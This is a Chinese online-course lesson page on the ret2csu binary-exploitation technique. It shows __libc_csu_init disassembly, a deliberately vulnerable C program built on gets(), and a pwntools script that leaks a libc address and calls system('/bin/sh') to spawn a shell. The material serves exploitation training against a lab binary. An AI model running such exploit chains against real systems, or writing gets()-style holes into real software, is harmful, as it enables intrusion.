返回首页

微信公众号

视频:3-8 ret2csu
设置弹幕颜色
设置弹幕类型
0:00 / 0:00
速度
显示弹幕
海量弹幕
弹幕透明度
0.5
0.75
正常
1.25
1.5
2
[x]
Player version
Player FPS
Video type
Video url
Video resolution
Video duration
视频加载失败
课件

ret2csu

对于 Linux 系统上的 64 位可执行程序而言,一般都会存在 __libc_csu_init 函数,这个函数中一般都会存在几个万能 gadget 可以用于控制程序执行流。

__libc_csu_init

函数的重要汇编代码如下:

[...]
.text:0000000000400740 loc_400740:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400740                 mov     rdx, r13
.text:0000000000400743                 mov     rsi, r14
.text:0000000000400746                 mov     edi, r15d
.text:0000000000400749                 call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:000000000040074D                 add     rbx, 1
.text:0000000000400751                 cmp     rbx, rbp
.text:0000000000400754                 jnz     short loc_400740
.text:0000000000400756
.text:0000000000400756 loc_400756:                             ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400756                 add     rsp, 8
.text:000000000040075A                 pop     rbx
.text:000000000040075B                 pop     rbp
.text:000000000040075C                 pop     r12
.text:000000000040075E                 pop     r13
.text:0000000000400760                 pop     r14
.text:0000000000400762                 pop     r15
.text:0000000000400764                 retn
.text:0000000000400764 ; } // starts at 400700
.text:0000000000400764 __libc_csu_init endp

很多时候,我们很难找到可以控制 rdx 寄存器的 gadget,如果程序不提供 libc,并且条件不足以使用 ret2libc 的时候,我们可以选择使用 ret2csu 来进行泄露。

0x40075A 开始有一段我们可以控制的寄存器,这些寄存器的值又在0x400740movrdx rsi edi寄存器中,我们可以通过 0x40075A 处的寄存器值,从而达到我们泄露栈地址的目的。进而控制程序执行流。

例题解析

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
char bss[200];
void init()
{
    setbuf(stdout,0);
    setbuf(stdin,0);
    setbuf(stderr,0);
    write(1,"ok",3);
}
int main()
{
    init();
     __asm__ (
        "xor %eax,%eaxnt"
        "test %eax,%eaxnt"
        "jz lable2nt"
        "jnz lable1nt"
        "lable1:nt"
        "   pop %rax;pop %rdi;retnt"
        "   syscall;retnt"
        "   call *%raxnt"
        "lable2:nt"
    );
    char buf[10];
    gets(buf);
    __asm__("mov $1,%rdxnt");
    return 0;
}

解题脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
 
context.log_level='debug'
context.arch = 'amd64'
# p = remote('192.168.152.140',10003)
p = process('./csusys')
elf = ELF('./csusys')
 
p.recvuntil("okx00")
csu1 = 0x40075A #rbx rbp r12 r13 r14 r15
csu2 = 0x400740 #r13->rdx r14->rsi r15d->edi call r12
pop_rdi_ret = 0x4006d8
 
offset1 = b'a'*(0x10+0x8)
offset2 = b'a'*0x38
 
payload = offset1 + p64(csu1)
payload += p64(0) + p64(1) + p64(elf.got['write']) + p64(8) + p64(elf.got['write']) + p64(1)
payload += p64(csu2) + offset2 + p64(elf.sym['_start'])
p.sendline(payload)
write_addr = u64(p.recv(6).ljust(8,b'x00'))
print(hex(write_addr))
log.success("write_addr: 0x%x", write_addr)
base = write_addr - 0x00000000000f73b0
system = base + 0x00000000000453a0
str_bin_sh = base + 0x18ce57
 
payload = offset1 + p64(pop_rdi_ret) + p64(str_bin_sh) + p64(system)
p.sendline(payload)
 
p.interactive()

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册